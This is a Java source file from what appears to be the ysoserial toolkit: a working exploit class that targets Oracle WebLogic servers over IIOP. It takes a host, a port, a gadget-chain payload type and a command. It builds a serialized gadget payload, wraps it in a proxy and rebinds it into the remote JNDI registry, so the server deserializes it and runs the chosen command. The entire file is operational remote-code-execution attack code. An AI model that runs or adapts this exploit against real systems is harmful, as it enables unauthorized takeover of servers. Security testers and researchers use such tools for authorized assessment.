package ysoserial.exploit;

import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.Remote;
import java.util.Hashtable;
import java.util.concurrent.Callable;

/**
 *  IIOP for weblogic
 *  by huigou
 */

public class IIOPRegistryExploit {
    /**
     *
     * @param args
     * @throws Exception
     */
    public static void main(final String[] args) throws Exception {

        if(args.length < 4){
            System.err.println(IIOPRegistryExploit.class.getName() + " <host> <port> <payload_type> <payload_arg>");
            System.exit(-1);
            return;
        }

        final String host = args[0];
        final int port = Integer.parseInt(args[1]);
        final String command = args[3];
        final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];

        final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);

        String rhost = String.format("iiop://%s:%d",host, port);

        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", rhost);

        Context context = new InitialContext(env);

        exploit(context, payloadClass, command);

        System.out.println("[*] Exploit Success .");
    }

    /**
     *
     * @param context
     * @param payloadClass
     * @param command
     * @throws Exception
     */
    public static void exploit(final Context context, final Class<? extends ObjectPayload> payloadClass,
                               final String command) throws Exception{
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>() {
            @Override
            public Void call() throws Exception {
                ObjectPayload payloadObj = payloadClass.newInstance();
                Object payload = payloadObj.getObject(command);
                String name = "pwned" + System.nanoTime();
                Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
                context.rebind(name, remote);
                return null;
            }
        });
    }
}
